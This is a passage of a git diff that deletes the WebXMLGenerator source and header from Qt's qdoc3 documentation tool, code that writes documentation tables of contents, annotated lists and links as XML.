QString::number(sectionNumber.last().toInt() + 1); - } - Text headingText = Text::sectionHeading(atom); - - if (sectionNumber.size() == 1 && columnSize > toc.size() / numColumns) { - writer.writeEndElement(); // list - writer.writeEndElement(); // item - writer.writeStartElement("item"); - writer.writeAttribute("width", QString::number((100 + numColumns - 1) / numColumns) + "%"); - writer.writeStartElement("list"); - columnSize = 0; - } - - writer.writeStartElement("item"); - writer.writeStartElement("para"); - writer.writeStartElement("link"); - writer.writeAttribute("href", nodeName + "#" + Doc::canonicalTitle(headingText.toString())); - writer.writeAttribute("type", "page"); - writer.writeCharacters(headingText.toString()); - writer.writeEndElement(); // link - writer.writeEndElement(); // para - writer.writeEndElement(); // item - - ++columnSize; - } - while (!sectionNumber.isEmpty()) { - writer.writeEndElement(); // list - sectionNumber.removeLast(); - } - - if (numColumns > 1) { - writer.writeEndElement(); // item - writer.writeEndElement(); // row - writer.writeEndElement(); // table - } - - inContents = false; - inLink = false; -} - -void WebXMLGenerator::generateAnnotatedList(QXmlStreamWriter &writer, - const Node *relative, CodeMarker *marker, const QMap<QString, const Node *> &nodeMap) -{ - writer.writeStartElement("table"); - writer.writeAttribute("width", "100%"); - - foreach (QString name, nodeMap.keys()) { - const Node *node = nodeMap[name]; - - writer.writeStartElement("row"); - writer.writeStartElement("heading"); - generateFullName(writer, node, relative, marker); - writer.writeEndElement(); // heading - - writer.writeStartElement("item"); - writer.writeCharacters(node->doc().briefText().toString()); - writer.writeEndElement(); // item - writer.writeEndElement(); // row - } - writer.writeEndElement(); // table -} - -void WebXMLGenerator::generateFullName(QXmlStreamWriter &writer, - const Node *apparentNode, const Node *relative, CodeMarker *marker, - const Node *actualNode) -{ - if ( actualNode == 0 ) - actualNode = apparentNode; - writer.writeStartElement("link"); - writer.writeAttribute("href", tre->fullDocumentLocation(actualNode)); - writer.writeAttribute("type", targetType(actualNode)); - writer.writeCharacters(fullName(apparentNode, relative, marker)); - writer.writeEndElement(); // link -} - -// Classes copied (and slightly adapted) from the HtmlGenerator. These need -// refactoring into a common ancestor class. - -void WebXMLGenerator::findAllClasses(const InnerNode *node) -{ - NodeList::const_iterator c = node->childNodes().constBegin(); - while (c != node->childNodes().constEnd()) { - if ((*c)->access() != Node::Private && (*c)->url().isEmpty()) { - if ((*c)->type() == Node::Class && !(*c)->doc().isEmpty()) { - QString className = (*c)->name(); - if ((*c)->parent() && (*c)->parent()->type() == Node::Namespace && - !(*c)->parent()->name().isEmpty()) - className = (*c)->parent()->name()+"::"+className; - - QString moduleName = (*c)->moduleName(); - if (!moduleName.isEmpty()) - moduleClassMap[moduleName].insert((*c)->name(), *c); - - QString serviceName = - (static_cast<const ClassNode *>(*c))->serviceName(); - if (!serviceName.isEmpty()) - serviceClasses.insert(serviceName, *c); - } else if ((*c)->isInnerNode()) { - findAllClasses(static_cast<InnerNode *>(*c)); - } - } - ++c; - } -} - -void WebXMLGenerator::findAllNamespaces(const InnerNode *node) -{ - NodeList::ConstIterator c = node->childNodes().begin(); - while (c != node->childNodes().end()) { - if ((*c)->access() != Node::Private) { - if ((*c)->isInnerNode() && (*c)->url().isEmpty()) { - findAllNamespaces(static_cast<const InnerNode *>(*c)); - if ((*c)->type() == Node::Namespace) { - const NamespaceNode *nspace = static_cast<const NamespaceNode *>(*c); - // Ensure that the namespace's name is not empty (the root - // namespace has no name). - if (!nspace->name().isEmpty()) { - namespaceIndex.insert(nspace->name(), *c); - QString moduleName = (*c)->moduleName(); - if (!moduleName.isEmpty()) - moduleNamespaceMap[moduleName].insert((*c)->name(), *c); - } - } - } - } - ++c; - } -} - -const QPair<QString,QString> WebXMLGenerator::anchorForNode(const Node *node) -{ - QPair<QString,QString> anchorPair; - - anchorPair.first = PageGenerator::fileName(node); - if (node->type() == Node::Fake) { - const FakeNode *fakeNode = static_cast<const FakeNode*>(node); - anchorPair.second = fakeNode->title(); - } - - return anchorPair; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/webxmlgenerator.h b/tools/qdoc3/webxmlgenerator.h deleted file mode 100644 index 3241bc7..0000000 --- a/tools/qdoc3/webxmlgenerator.h +++ /dev/null @@ -1,127 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - WebXMLGenerator.h -*/ - -#ifndef WEBXMLGENERATOR_H -#define WEBXMLGENERATOR_H - -#include <QtCore/qxmlstream.h> - -#include "codemarker.h" -#include "config.h" -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class QXmlStreamReader; -class QXmlStreamWriter; - -class WebXMLGenerator : public PageGenerator -{ -public: - WebXMLGenerator(); - ~WebXMLGenerator(); - - virtual void initializeGenerator(const Config &config); - virtual void terminateGenerator(); - virtual QString format(); - virtual void generateTree(const Tree *tree, CodeMarker *marker); - -protected: - virtual void startText( const Node *relative, CodeMarker *marker ); - virtual int generateAtom(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker ); - virtual void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - virtual void generateFakeNode(const FakeNode *fake, CodeMarker *marker); - virtual QString fileExtension(const Node *node) const; - - virtual const Atom *addAtomElements(QXmlStreamWriter &writer, const Atom *atom, - const Node *relative, CodeMarker *marker); - virtual void generateIndexSections(QXmlStreamWriter &writer, const Node *node, - CodeMarker *marker); - virtual void generateInnerNode( const InnerNode *node, CodeMarker *marker ); - -private: - const QPair<QString,QString> anchorForNode(const Node *node); - void findAllClasses(const InnerNode *node); - void findAllNamespaces(const InnerNode *node); - const Node *findNode(const Atom *atom, const Node *relative, CodeMarker *marker); - const Node *findNode(const QString &title, const Node *relative, CodeMarker *marker); - void generateAnnotatedList(QXmlStreamWriter &writer, const Node *relative, - CodeMarker *marker, const QMap<QString, - const Node *> &nodeMap); - void generateFullName(QXmlStreamWriter &writer, const Node *apparentNode, - const Node *relative, CodeMarker *marker, - const Node *actualNode = 0); - void generateRelations(QXmlStreamWriter &writer, const Node *node, CodeMarker *marker); - void generateTableOfContents(QXmlStreamWriter &writer, const Node *node, - Doc::SectioningUnit sectioningUnit, - int numColumns, const Node *relative); - void startLink(QXmlStreamWriter &writer, const Atom *atom, const Node *node, - const Node *relative); - QString targetType(const Node *node); - - const Tree *tre; - bool generateIndex; - bool inLink; - bool inContents; - bool inSectionHeading; - bool inTableHeader; - int numTableRows; - bool threeColumnEnumValueTable; - QMap<QString, QMap<QString, const Node *> > moduleClassMap; - QMap<QString, QMap<QString, const Node *> > moduleNamespaceMap; - QMap<QString, const Node *> namespaceIndex; - QMap<QString, const Node *> serviceClasses; - QString link; - QString project; - QString projectDescription; - QString projectUrl; - QString quoteCommand; - QStringList sectionNumber; -}; - -QT_END_NAMESPACE - -#endif |